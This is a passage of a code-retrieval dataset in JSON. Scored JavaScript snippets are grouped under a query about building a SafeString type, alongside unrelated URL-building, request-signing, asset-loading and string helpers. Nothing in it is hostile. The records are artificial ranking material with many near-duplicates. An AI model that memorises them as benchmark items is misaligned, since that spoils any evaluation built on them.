'web safe' base64\r\n return unsafeSignature.replace(/\\+/g, \"-\").replace(/\\//g, \"_\");\r\n}", "title": "" }, { "docid": "b143fbcf7cec88213b2bb730bc7e4ebb", "score": "0.4234289", "text": "function AddAsset(a){var b=1<arguments.length&&void 0!==arguments[1]?arguments[1]:null,c=2<arguments.length&&void 0!==arguments[2]?arguments[2]:null,d=3<arguments.length&&void 0!==arguments[3]?arguments[3]:null,e=c||function(){return null},f=d||function(){return null},g=(b?b+\"/\":\"\")+a;/* Callback defaults *//* Determine the final path to the asset *//* Prevent double-loading */if(a.startsWith(\"//\")&&(g=window.location.protocol+a),console.debug(a+\" @ \"+b+\" -> \"+g),ASSETS[g])throw new Error(\"Duplicate asset \"+g+\": \"+JSON.stringify(ASSETS[g]));/* Construct and load the asset */var h=ASSETS[g]={};return new Promise(function(c,d){console.info(\"About to load asset\",g),h.file=a,h.src=g,h.tree=b,h.loaded=!1,h.error=!1,h.script=document.createElement(\"script\"),h.script.setAttribute(\"type\",\"text/javascript\"),h.script.setAttribute(\"src\",h.src),h.script.onload=function(){console.log(h.src+\" loaded\"),h.loaded=!0,e(h),c(h)},h.script.onerror=function(a){console.error(\"Failed loading\",h,a),h.error=!0,f(h,a),d(a)},document.head.appendChild(h.script)})}", "title": "" }, { "docid": "2de01bf7f7194789e1e055d3f92c0aa8", "score": "0.42327255", "text": "function generateS3Sitemap(tree) {\n const nodes = Object.keys(tree).reduce((acc, key) => (`${acc}<url><loc>https://s3.amazonaws.com/sunvalleybronze.com/${encodeURIComponent(key)}</loc></url>`), '');\n return `<?xml version=\"1.0\" encoding=\"UTF-8\"?><urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">${nodes}</urlset>`;\n}", "title": "" }, { "docid": "a8b94ef6bf48d742135b911a3f64b111", "score": "0.42318574", "text": "constructImageURL(photoObj) {\n return \"https://farm\" + photoObj.farm +\n \".staticflickr.com/\" + photoObj.server +\n \"/\" + photoObj.id + \"_\" + photoObj.secret + \".jpg\";\n }", "title": "" }, { "docid": "247625117571bc0a7741f26690264e66", "score": "0.4228346", "text": "function photoToURL(photo) {\n return `https://farm${photo.farm}.staticflickr.com/${photo.server}/${photo.id}_${photo.secret}.jpg`;\n}", "title": "" }, { "docid": "7df3e29d19805a7825766b7de42be8bd", "score": "0.42222255", "text": "function buildURL(host, sport, method, id, format, params) {\n var ary = [sport, method, id];\n var path;\n var url;\n var param_list = [];\n var param_string;\n var key;\n\n path = ary.filter(function (element) {\n return element !== undefined;\n }).join('/');\n url = 'https://' + host + '/' + path + '.' + format;\n\n // check for parameters and create parameter string\n if (params) {\n for (key in params) {\n if (params.hasOwnProperty(key)) {\n param_list.push(encodeURIComponent(key) + '=' + encodeURIComponent(params[key]));\n }\n }\n param_string = param_list.join('&');\n if (param_list.length > 0) {\n url += '?' + param_string;\n }\n }\n return url;\n}", "title": "" }, { "docid": "b13cf4696d39d2f65857b15962e3911d", "score": "0.42175472", "text": "getSignature (filename) {\n return new Promise((resolve, reject) => {\n const url = `${signaturePath}?filename=${filename}`\n request({ url })\n .then(result => resolve(result))\n .catch(err => reject(Error(err)))\n })\n }", "title": "" }, { "docid": "cc013a6c42d3182feaf80fa4ecada0f2", "score": "0.4216403", "text": "buildRequestUrl(options) {\n if (!this.props.nowSourceInstance || (!options.sys_id && !options.scope))\n throw new Error(App_types_1.Errors.INCORRECT_CONFIG);\n const params = this.buildParams(options);\n return `https://${this.props.nowSourceInstance}.service-now.com/api/sn_cicd/app_repo/publish?${params}`;\n }", "title": "" }, { "docid": "11f9f78827841f627ec91e6bb4ba3a80", "score": "0.42144743", "text": "function getResource(resourceName, args, success, failure, headers) {\n\tmakeAuthenticatedRequest({\n\t\tservicePath : resourceName + \".json?\" + encodeUrlString(args),\n\t\thttpMethod : 'GET'\n\t}, success, failure, headers);\n}", "title": "" }, { "docid": "8e804306fef1cc5451cfaac432370a5f", "score": "0.42143482", "text": "_createRequest(action, parameters = {}, opts = {}) {\n // 1. compose parameters and opts\n opts = Object.assign({\n headers: {\n 'x-sdk-client': 'aliyun-sdk-nodejs/6.5.0 edgecdn.js',\n 'user-agent': 'aliyun-sdk-nodejs/6.5.0 edgecdn.js'\n }\n }, this.opts, opts);\n\n // format params\n var method = (opts.method || 'GET').toUpperCase();\n var defaults = this._buildParams();\n var params = Object.assign({\n Action: action\n }, defaults, parameters);\n // 2. caculate signature\n var normalized = this._normalize(params);\n var canonicalized = this._canonicalize(normalized);\n // 2.1 get string to sign\n var stringToSign = `${method}&${this._encode('/')}&${this._encode(canonicalized)}`;\n // 2.2 get signature\n var signature = this._computeSignature(stringToSign, this.accessKeySecret + '&');\n // add signature\n normalized.push(['Signature', this._encode(signature)]);\n // 3. generate final url\n const url = opts.method === 'POST' ? `${this.endpoint}/` : `${this.endpoint}/?${this._canonicalize(normalized)}`;\n return {\n url: `http://${url}`,\n headers: opts.headers,\n };\n }", "title": "" }, { "docid": "938a805088ffca28b31fd65ef0af3ccd", "score": "0.42114922", "text": "static getVapidPublicKey (...args) {\n return WebPushSubscription.serverCallStatic('getVapidPublicKey', args);\n }", "title": "" }, { "docid": "6048703a442c7c4ebb8aa516bbd2cb71", "score": "0.4210026", "text": "function base64ToUrl(s) {\n return s.replace(/\\+/g, '-').replace(/\\//g, '_').replace(/\\=+$/, '');\n }", "title": "" } ]
64ceea38817e756d02223fb09c7ca868
Build out our basic SafeString type
[ { "docid": "94c509b598b20a5ad1f7cbe750e4ddc7", "score": "0.72517234", "text": "function SafeString(string) {\n this.string = string;\n}", "title": "" } ]
[ { "docid": "8a5ee64f84c2bfb772b3cc3a4968ba4c", "score": "0.7551093", "text": "function SafeString(string) { // 430\n\t this.string = string; // 431\n\t} // 432", "title": "" }, { "docid": "a4704348195e1bdab1c5c53bdc43f2f9", "score": "0.73472", "text": "function SafeString(string) {\n\t this.string = string;\n\t}", "title": "" }, { "docid": "a4704348195e1bdab1c5c53bdc43f2f9", "score": "0.73472", "text": "function SafeString(string) {\n\t this.string = string;\n\t}", "title": "" }, { "docid": "a4704348195e1bdab1c5c53bdc43f2f9", "score": "0.73472", "text": "function SafeString(string) {\n\t this.string = string;\n\t}", "title": "" }, { "docid": "a4704348195e1bdab1c5c53bdc43f2f9", "score": "0.73472", "text": "function SafeString(string) {\n\t this.string = string;\n\t}", "title": "" }, { "docid": "a4704348195e1bdab1c5c53bdc43f2f9", "score": "0.73472", "text": "function SafeString(string) {\n\t this.string = string;\n\t}", "title": "" }, { "docid": "7e881271b7f93c9d244111694c770954", "score": "0.7319656", "text": "function SafeString(string) {\r\n\t this.string = string;\r\n\t}", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "ba5542b0c6cce668df09194ff920bdfa", "score": "0.7245017", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "b784e065abe54c2b11d4a06719772ca9", "score": "0.72411984", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "b784e065abe54c2b11d4a06719772ca9", "score": "0.72411984", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "b784e065abe54c2b11d4a06719772ca9", "score": "0.72411984", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "b784e065abe54c2b11d4a06719772ca9", "score": "0.72411984", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "b784e065abe54c2b11d4a06719772ca9", "score": "0.72411984", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "14e9efcc1b42ee864b1d72e0ed4768fa", "score": "0.71400875", "text": "function SafeString(string) {\n this.string = string;\n }", "title": "" }, { "docid": "6d97bcd5910f3358a32041d01e68d801", "score": "0.7034812", "text": "function SafeString(val) {\n if (typeof val !== 'string') {\n return val;\n }\n\n this.val = val;\n this.length = val.length;\n}", "title": "" }, { "docid": "6d97bcd5910f3358a32041d01e68d801", "score": "0.7034812", "text": "function SafeString(val) {\n if (typeof val !== 'string') {\n return val;\n }\n\n this.val = val;\n this.length = val.length;\n}", "title": "" }, { "docid": "6d97bcd5910f3358a32041d01e68d801", "score": "0.7034812", "text": "function SafeString(val) {\n if (typeof val !== 'string') {\n return val;\n }\n\n this.val = val;\n this.length = val.length;\n}", "title": "" }, { "docid": "65298aeab93bab5e2b1907f4621943a6", "score": "0.69632035", "text": "function SafeString(val) {\n if(typeof val !== 'string') {\n return val;\n }\n\n this.val = val;\n this.length = val.length;\n}", "title": "" }, { "docid": "a6cda5a233865b52913ebb0ce44e7922", "score": "0.68057793", "text": "function stringClass (){}", "title": "" }, { "docid": "b52fbad9b64138d05b0b342143511313", "score": "0.6644753", "text": "function String() {}", "title": "" }, { "docid": "592e31acd397d06a68c260949695c576", "score": "0.6610372", "text": "function SafeString(val) {\n if(typeof val != 'string') {\n return val;\n }\n\n this.val = val;\n}", "title": "" }, { "docid": "2cc56ab1d913b9b74f4e6d291fc71f78", "score": "0.66006625", "text": "function TypeString() {\n /**\n * Minimum length of the string, negative if no minimum length is required.\n * @type {number}\n */\n this._min = -1;\n /**\n * Maximum length of the string, negative if no maximum length is required.\n * @type {number}\n */\n this._max = -1;\n /**\n * Length of the string, negative if no length is required.\n * @type {number}\n */\n this._length = -1;\n /**\n * Whether the string must be alphanumeric or not. We used the npm validator\n * package, and as 2014/12/14, it check against the regex [a-zA-Z0-9]\n * @type {boolean}\n */\n this._alphanum = false;\n /**\n * Whether this string must be uppercase or not.\n * @type {boolean}\n */\n this._uppercase = false;\n /**\n * Whether this string must be lowercase or not.\n * @type {boolean}\n */\n this._lowercase = false;\n /*\n * The regex against which the string must conform. Undefined if the string\n * does not have to conform to a RegExp.\n * @type {RegExp=}\n */\n this._regex = undefined;\n /**\n * The validator called with the string must return {true} if the string is valid,\n * {false} if the string is not.\n * @type {function(string)=}\n */\n this._enum = undefined;\n /**\n * The default value for this field or a function to generate the default value.\n * @type {function|string}\n */\n this._default = undefined;\n /**\n * Whether this string must be a uuid or not.\n * @type {number}\n */\n this._uuid = undefined;\n /**\n * Options for this type \"enforce_missing\", \"enforce_type\", \"enforce_extra\"\n * @type {Object=}\n */\n this._validator = undefined;\n /**\n * An object whose keys are the acceptable values for the string. Undefined if this\n * is not a requirement.\n * @type {Object=}\n */\n this._options = {};\n}", "title": "" }, { "docid": "2845880be92d363964b910e0b113d8f3", "score": "0.6519706", "text": "function raw(string) {\n const safe = new String(string);\n safe.__safe = true;\n return safe;\n}", "title": "" }, { "docid": "230892881521ac2b3ab42e98d1303c17", "score": "0.6304182", "text": "function makeStringValue(s_arg) {\n var S = new String(s_arg);\n //S.__proto__ = StringValue.prototype; // won't work in IE10\n for(var method in StringValue.prototype) {\n Object.defineProperty(S, method, {\n value: StringValue.prototype[method]\n });\n }\n return S;\n }", "title": "" }, { "docid": "fcf771ac6bf44396efc7b21a5b5bac10", "score": "0.6107335", "text": "function str() {\n return new String(\"foo\");\n}", "title": "" }, { "docid": "b7bdc6f5e6912b48c676cdc2b87adc4f", "score": "0.61037564", "text": "checkString(narg) {\n var s = this.toString_(this.value(narg));\n if (s == null) {\n this.tagError(narg, Lua.TSTRING);\n }\n return s;\n }", "title": "" }, { "docid": "02844f31a6a26e142895eba4117c3c5a", "score": "0.5979816", "text": "string(options = {length: 8, pool: 'abcdefghijklmnopqrstuvwxyz1234567890'}) {\n return super.string(options);\n }", "title": "" }, { "docid": "b5590746332402c02f8408f8a22c6118", "score": "0.59683686", "text": "function createString() {\n var result = 'string';\n return result;\n}", "title": "" }, { "docid": "a5c5f727015560416b02258a95226d6e", "score": "0.59683233", "text": "function Str(value) {\n this.value = value;\n}", "title": "" }, { "docid": "d2f65110165e45e66446deb2059ba069", "score": "0.59200436", "text": "constructor(options) {\n var key, ref, value;\n // Checks whether the given string contains legal characters\n // Fails with an exception on error\n\n // `str` the string to check\n this.assertLegalChar = this.assertLegalChar.bind(this);\n options || (options = {});\n this.noDoubleEncoding = options.noDoubleEncoding;\n ref = options.stringify || {};\n for (key in ref) {\n if (!hasProp.call(ref, key)) continue;\n value = ref[key];\n this[key] = value;\n }\n }", "title": "" }, { "docid": "94fd4b47109026731c66ca9081f5e1d0", "score": "0.58835346", "text": "function STRING(text) {\n\tif (text instanceof BrogueString) return text;\n\treturn new BrogueString(text);\n}", "title": "" }, { "docid": "553433f388b7bd58b032cb8d5c7a2bd2", "score": "0.5875687", "text": "function ninjaString( value ){ this.value = value || []; }", "title": "" }, { "docid": "655b62fe46fb53a6ebd89b6482c233f2", "score": "0.58347505", "text": "function SafeValue() { }", "title": "" }, { "docid": "33d3820cf2a1e88a1b1c5aef478daf77", "score": "0.582944", "text": "function guardedString(strs /*: Array<string> */, ...parts /*: Array<mixed> */) /*: GuardedString */ {\n if (!Object.isFrozen(strs) || strs.length !== 1 || parts.length !== 0) {\n throw new Error('Attempted to construct a guarded string unsafely, you must use a template string with no interpolations (i.e. guardedString`string`)');\n }\n\n let obj /*: Object */ = {};\n let str = strs[0];\n\n def(obj, GUARDED_STRING, {\n get() {\n return str;\n }\n });\n\n def(obj, 'toString', {\n enumerable: true,\n configurable: true,\n writable: true,\n value() {\n return str;\n }\n });\n\n return obj;\n}", "title": "" }, { "docid": "1ca5be7a1a4e1dd0485ae1778bf2b2f0", "score": "0.57844603", "text": "constructor(options) {\n var key, ref, value;\n // Checks whether the given string contains legal characters\n // Fails with an exception on error\n\n // `str` the string to check\n this.assertLegalChar = this.assertLegalChar.bind(this);\n // Checks whether the given string contains legal characters for a name\n // Fails with an exception on error\n\n // `str` the string to check\n this.assertLegalName = this.assertLegalName.bind(this);\n options || (options = {});\n this.options = options;\n if (!this.options.version) {\n this.options.version = '1.0';\n }\n ref = options.stringify || {};\n for (key in ref) {\n if (!hasProp.call(ref, key)) continue;\n value = ref[key];\n this[key] = value;\n }\n }", "title": "" }, { "docid": "afa03e139b5a3313f79e13355bca3850", "score": "0.57307434", "text": "function makeSafe(unsafe) {\n return String(unsafe).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/\"/g, '&quot;');\n}", "title": "" }, { "docid": "cbc85795bbad68fb980cb80152d2d071", "score": "0.5725402", "text": "function string(text) {\n return {\n type: 'string',\n string: text\n };\n }", "title": "" }, { "docid": "bfe46d36a53f91e1447a725b8aa6a562", "score": "0.56358296", "text": "function StringTransformer(str){\n this.strDefault = str === undef ? '' : str;\n}", "title": "" }, { "docid": "426d80fa788afb1b78aa6a0b736ab313", "score": "0.56203103", "text": "function str_s_new(str, mid, text) {\n\treturn new String(text || \"\");\n}", "title": "" }, { "docid": "8f35c2c437b8916680ed3634855ca5a6", "score": "0.558942", "text": "function tryParseString() {\r\n /// <summary> Returns the inputStr if !isNullOrEmpty, else returns the defaultStr</summary>\r\n /// <returns type=\"String\" />\r\n var ret = '';\r\n if (false === Csw.isPlainObject(inputStr) &&\r\n false === Csw.isFunction(inputStr) &&\r\n false === Csw.isNullOrEmpty(inputStr)) {\r\n ret = inputStr.toString();\r\n } else if (false === Csw.isPlainObject(defaultStr) &&\r\n false === Csw.isFunction(defaultStr) &&\r\n false === Csw.isNullOrEmpty(defaultStr)) {\r\n ret = defaultStr.toString();\r\n }\r\n return ret;\r\n }", "title": "" }, { "docid": "e4b6ab7c090efbb8c4bb793a2c3b742d", "score": "0.5550557", "text": "function SK80String(str) {\n this.string = str;\n return this;\n }", "title": "" }, { "docid": "53a89b9e394895ab4960d019893ffe1f", "score": "0.5530096", "text": "newString(value) {\r\n this.key2.set(ClassWriter.STR, value, null, null);\r\n let result = this.get(this.key2);\r\n if (result == null) {\r\n this.pool.put12(ClassWriter.STR, this.newUTF8(value));\r\n result = new Item(this.index++, this.key2);\r\n this.put(result);\r\n }\r\n return result;\r\n }", "title": "" }, { "docid": "c9055ca0747875902783f8b11ff363c9", "score": "0.55183107", "text": "function safeToString(buff, useUTF8, start, length) {\n if (length === 0) {\n return '';\n } else if (useUTF8) {\n return buff.toString('utf8', start, start + length);\n } else {\n return ExtendedASCII.byte2str(buff.slice(start, start + length));\n }\n}", "title": "" }, { "docid": "4652cb089fea46c1099d8ef4b65722e7", "score": "0.5497182", "text": "string() {\n this.checkKey();\n this._fields[this._curKey].validators.push({\n validator: this._validator.isString,\n message: this._curKey + ' is not a string.',\n code: 'VAL_NSTR',\n arguments: []\n });\n return this;\n }", "title": "" }, { "docid": "0848ea6e509d2bcc9941d198d4f1d602", "score": "0.5463474", "text": "function ToPrimitiveAndRequireString(value) {\n value = ToPrimitive(value, StringCtor);\n return RequireString(value);\n}", "title": "" }, { "docid": "fc7c29a7792d43f859cc004ed5a10db3", "score": "0.5435146", "text": "getTypedStringValue() {\n return this.privateDoNotAccessOrElseSafeScriptWrappedValue_.toString();\n }", "title": "" }, { "docid": "9114c9675a6b36f4a0d6cb9106a2134c", "score": "0.5413015", "text": "function StringBuilder( value )\t{\n this._Strings = new Array( value || '' );\n}", "title": "" }, { "docid": "31a09978b8d6aaec51299e6d5fb49ad8", "score": "0.5380295", "text": "function extendString() {\r\n\t\r\n\tif (String.format === undefined && String.prototype.format === undefined) {\r\n\t\tString.format = function() {\r\n\t\t\tif (arguments === undefined || arguments.length === 0) {\r\n\t\t\t\treturn '';\r\n\t\t\t}\r\n\r\n\t\t\tif (arguments.length === 1) {\r\n\t\t\t\treturn arguments[0];\r\n\t\t\t}\r\n\r\n\t\t\tvar str = arguments[0];\r\n\t\t\tvar values = [];\r\n\r\n\t\t\tfor (var i = 1; i < arguments.length; i++) {\r\n\t\t\t\tvalues[i-1] = arguments[i]\r\n\t\t\t};\r\n\r\n\t\t\tif (utils.hasArgs(str) ) {\r\n\t\t\t\treturn utils.replaceArgs(str, values);\r\n\t\t\t}\r\n\r\n\t\t\treturn str;\r\n\t\t}\r\n\r\n\t\tString.prototype.format = function() {\r\n\t\t\tvar self = String(this);\r\n\r\n\t\t\tif (arguments === undefined || arguments.length === 0) {\r\n\t\t\t\treturn self;\r\n\t\t\t}\r\n\r\n\t\t\tvar args = [];\r\n\t\t\targs[0] = self;\r\n\r\n\t\t\tfor (var i=0; i < arguments.length;i++) {\r\n\t\t\t\targs[i+1] = arguments[i]\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn String.format.apply(null, args);\r\n\t\t}\r\n\t}\r\n\r\n\tif ( String.prototype.toTitleCase === undefined \r\n\t\t&& String.prototype.toCamelCase === undefined\r\n\t\t&& String.prototype.toJsonCase === undefined) {\r\n\r\n\t\tString.prototype.toTitleCase = function(clean) {\r\n\t\t\treturn utils.toTitleCase(String(this), clean);\r\n\t\t}\r\n\r\n\t\tString.prototype.toCamelCase = function(clean) {\r\n\t\t\treturn utils.toCamelCase(String(this), clean);\r\n\t\t}\r\n\r\n\t\tString.prototype.toJsonCase = function(clean) {\r\n\t\t\treturn utils.toJsonCase(String(this), clean);\r\n\t\t}\r\n\t}\r\n\t\r\n\r\n}", "title": "" }, { "docid": "3caf1e8cc4c778930528eb7bb4e308ec", "score": "0.5369083", "text": "function castStr ( data, alt_data, option_map ) {\n var\n var_type = getVarType( data ),\n solve_str = ( var_type === '_String_' )\n ? data : var_type === '_Number_'\n ? __Str( data ) : __undef,\n log_list, char_count\n ;\n\n if ( solve_str === __undef ) { return alt_data; }\n\n // Begin process optional constraints\n if ( __typeofFn( option_map ) === 'object' ) {\n log_list = [];\n char_count = solve_str[ __length ];\n if ( option_map._is_empty_ok_ === __false\n && solve_str === __blank\n ) {\n log_list[ __push ]( 'String is empty' );\n }\n\n if ( option_map._max_length_\n && char_count > option_map._max_length_\n ) {\n log_list[ __push ](\n 'String exceeds maxiumum length: ' + __Str( char_count )\n + ' > ' + __Str( option_map._max_length_ )\n );\n }\n\n if ( option_map._min_length_\n && char_count < option_map._min_length_\n ) {\n log_list[ __push ](\n 'String is below minimum length: ' + __Str( char_count )\n + ' < ' + __Str( log_list._min_length_ )\n );\n }\n\n if ( option_map._filter_regex_\n && ! option_map._filter_regex_.test( solve_str )\n ) {\n log_list.push(\n 'String does not pass regex filter: '\n + option_map._filter_regex_[ __toString ]()\n );\n }\n\n if ( log_list[ __length ] > __0 ) {\n if ( option_map._do_warn_ ) {\n logObj._logMsg_(\n '_warn_', 'List fails constraints', log_list\n );\n }\n return alt_data;\n }\n }\n // . End process optional constraints\n return solve_str;\n }", "title": "" }, { "docid": "b4e0e54ff7f2ddf1cf7b3ef68735c101", "score": "0.5350313", "text": "constructor (len, v) {\n assert(len.v == v.length, \"len.v\", len.v, \"!= v.length\", v.length);\n this.t = T.str;\n this.z = len.z + v.length;\n this.v = v;\n this.len = len\n }", "title": "" }, { "docid": "2c93d721b34ed1c727b5002dcf85e97f", "score": "0.5302301", "text": "_string ( item, definition ) {\n \n const { length, limit, min } = definition\n\n if ( !( typeof item === 'string' ))\n return 'Not a string'\n\n if ( length && item.length != length )\n return `String must be ${length} long`\n\n if ( limit && item.length > limit )\n return `String is too long, limit: ${limit}`\n\n if ( min && item.length < min )\n return `String is too short, required: ${limit}`\n\n }", "title": "" }, { "docid": "f68421b93f7ea84c759892f30008659c", "score": "0.53006", "text": "function toSafeString(string) {\n // identifiers in javaScript/ts:\n // First character: a-zA-Z | _ | $\n // Rest: a-zA-Z | _ | $ | 0-9\n return lodash_1.upperFirst(\n // remove accents, umlauts, ... by their basic latin letters\n lodash_1.deburr(string)\n // replace chars which are not valid for typescript identifiers with whitespace\n .replace(/(^\\s*[^a-zA-Z_$])|([^a-zA-Z_$\\d])/g, ' ')\n // uppercase leading underscores followed by lowercase\n .replace(/^_[a-z]/g, function (match) { return match.toUpperCase(); })\n // remove non-leading underscores followed by lowercase (convert snake_case)\n .replace(/_[a-z]/g, function (match) { return match.substr(1, match.length).toUpperCase(); })\n // uppercase letters after digits, dollars\n .replace(/([\\d$]+[a-zA-Z])/g, function (match) { return match.toUpperCase(); })\n // uppercase first letter after whitespace\n .replace(/\\s+([a-zA-Z])/g, function (match) { return lodash_1.trim(match.toUpperCase()); })\n // remove remaining whitespace\n .replace(/\\s/g, ''));\n}", "title": "" }, { "docid": "4bcf1faa0311fdb2e47a86c0476da9b8", "score": "0.52909213", "text": "static hashStr(str, raw = false) {\n\t return this.onePassHasher\n\t .start()\n\t .appendStr(str)\n\t .end(raw);\n\t }", "title": "" }, { "docid": "4bcf1faa0311fdb2e47a86c0476da9b8", "score": "0.52909213", "text": "static hashStr(str, raw = false) {\n\t return this.onePassHasher\n\t .start()\n\t .appendStr(str)\n\t .end(raw);\n\t }", "title": "" }, { "docid": "8f3b9ad8e5b92bceebecc9a2ae68babc", "score": "0.52893317", "text": "get String(){\n this.assert(\n util.isString(this.obj)\n , function(){ return 'expected ' + this.inspect + ' to be a string' }\n , function(){ return 'expected ' + this.inspect + ' not to be a string' });\n return this;\n }", "title": "" }, { "docid": "bfda7f8406824c924f029eb8545703dd", "score": "0.52739537", "text": "function StringFunctions() {\n this.Left = function (s, i) {\n return s.substring(0, i);\n }\n\n this.Right = function (s, i) {\n return s.substring(s.length - i);\n }\n\n this.Chop = function (sString, i) {\n i = i | 1;\n return int.s.Substring(sString, 0, sString.length - i);\n }\n\n this.Substring = function (s, iStart, iLength) {\n return iLength == undefined ? s.substring(iStart) : s.substring(iStart, iLength);\n }\n\n this.Slice = function (s, iStart, iEnd) {\n iEnd = iEnd | iStart;\n return s.substring(iStart, iStart + (iEnd - iStart) + 1);\n }\n\n this.StartsWith = function (sBase, sCompare) {\n return sBase.indexOf(sCompare) == 0;\n }\n\n this.EndsWith = function (sBase, sCompare) {\n return sBase.lastIndexOf(sCompare) == sBase.length - sCompare.length;\n }\n\n this.Replace = function (sString, sStringToReplace, sReplacement) {\n while (sString.indexOf(sStringToReplace) != -1) {\n sString = sString.replace(sStringToReplace, sReplacement);\n }\n return sString;\n }\n\n this.Trim = function (sBase) {\n return sBase.replace(/^\\s*|\\s*$/g, '');\n }\n\n this.ArrayToCSV = function (aArray) {\n var sReturn = '';\n if (aArray.constructor.toString().indexOf('Array') > 0) {\n for (var i = 0; i < aArray.length; i++) {\n sReturn += aArray[i].toString() + (i < aArray.length - 1 ? ',' : '');\n }\n }\n return sReturn;\n }\n\n this.PadWithZeros = function (sBase, iLength) {\n return sBase.length < iLength ? '0' * (iLength - sBase.length) + sBase : sBase;\n }\n\n this.EncodeString = function (sString) {\n return encodeURIComponent(sString);\n }\n\n this.Format = function (sString) {\n if (arguments.length <= 1) return sString;\n var tokenCount = arguments.length - 2;\n for (var token = 0; token <= tokenCount; token++) {\n sString = sString.replace(new RegExp('\\\\{' + token + '\\\\}', 'gi'), arguments[token + 1]);\n }\n return sString;\n }\n }", "title": "" }, { "docid": "705afb3e6b2db2f909b3f689bb5397d3", "score": "0.5231879", "text": "function string_data(s) { return Data(s); }", "title": "" }, { "docid": "c0a75875ba372a5d0f500b50585c4063", "score": "0.52142656", "text": "function dl(a){return a&&a.implementsGoogStringTypedString?a.getTypedStringValue():a}", "title": "" }, { "docid": "0282a34f865608a461d52a81c4a53eac", "score": "0.52063715", "text": "function CVietString(str) {\n this.value= str;\n this.keymode= initKeys();\n this.charmap= initCharMap();\n this.ctrlchar= '-';\n this.changed= 0;\n\n this.typing= typing;\n this.Compose= Compose;\n this.findCharToChange= findCharToChange;\n return this;\n}", "title": "" }, { "docid": "6d1a695fe7d8af88f2b9cfd1f59ef17f", "score": "0.52020895", "text": "function wrap(s, nonull) {\n\t s = s.trim()\n\t return !s ? '' : '(function(v){try{v='\n\n\t // prefix vars (name => data.name)\n\t + (s.replace(re_vars, function(s, _, v) { return v ? '(d.'+v+'===undefined?'+(typeof window == 'undefined' ? 'global.' : 'window.')+v+':d.'+v+')' : s })\n\n\t // break the expression if its empty (resulting in undefined value)\n\t || 'x')\n\n\t + '}finally{return '\n\n\t // default to empty string for falsy values except zero\n\t + (nonull === true ? '!v&&v!==0?\"\":v' : 'v')\n\n\t + '}}).call(d)'\n\t }", "title": "" }, { "docid": "c2829f2726a1a50cd2dd47ecdfee83ed", "score": "0.5199933", "text": "function myStr(str) {\n const tmpStr=\"\";\n if (str && typeof str === 'string') {\n return str;\n }\n return tmpStr;\n}", "title": "" }, { "docid": "bd17d61bf5734bff5d0d998f9647fd3b", "score": "0.5188965", "text": "static validate ( str ) { virtualⵢ ( str ); }", "title": "" }, { "docid": "aca2e289da9d40c82ae228041e6bf79e", "score": "0.51818466", "text": "function StringBuilder(value)\n{\n this.strings = new Array(\"\");\n this.append(value);\n}", "title": "" }, { "docid": "5652ffab9c4f822eef535db763c98159", "score": "0.51773065", "text": "function wrap(s, nonull) {\n s = s.trim();\n return !s ? '' : \"\\n (function(){ \\n var v; \\n try { \\n v = \"\n + (s.replace(reVars, function (s, _, v) {\n return v ?\n \"\\n (typeof \" + v + \" === \\\"undefined\\\" ? typeof this.\" + v + \" === \\\"undefined\\\" ? this.get && this.get(\\\"\" + v + \"\\\") : this.\" + v + \" : \" + v + \")\"\n :\n s;\n }) || '[][0]')\n + (\"\\n } catch(e) { }\\n return \" + (nonull === true ? ' !v && v !== 0 ? \"\" : v' : 'v') + \";\\n }).call(this)\");\n }", "title": "" }, { "docid": "725833f65e320980fc64c6921d0fd01f", "score": "0.51772505", "text": "function wrap(s, nonull) {\n\t s = s.trim()\n\t return !s ? '' : '(function(v){try{v='\n\n\t // prefix vars (name => data.name)\n\t + (s.replace(reVars, function(s, _, v) { return v ? '(d.'+v+'===undefined?'+(typeof window == 'undefined' ? 'global.' : 'window.')+v+':d.'+v+')' : s })\n\n\t // break the expression if its empty (resulting in undefined value)\n\t || 'x')\n\t + '}catch(e){'\n\t + '}finally{return '\n\n\t // default to empty string for falsy values except zero\n\t + (nonull === true ? '!v&&v!==0?\"\":v' : 'v')\n\n\t + '}}).call(d)'\n\t }", "title": "" }, { "docid": "6c3fa2a7fb9b68a40078c291fabfff01", "score": "0.51703805", "text": "function string(val) {\n return {value: val, type: 'string'};\n}", "title": "" }, { "docid": "035b7dc1cdbb1fdb9694b6ce391a678a", "score": "0.5162673", "text": "function StringBuilder(value) {\r\n this.strings = new Array(\"\");\r\n this.append(value);\r\n}", "title": "" }, { "docid": 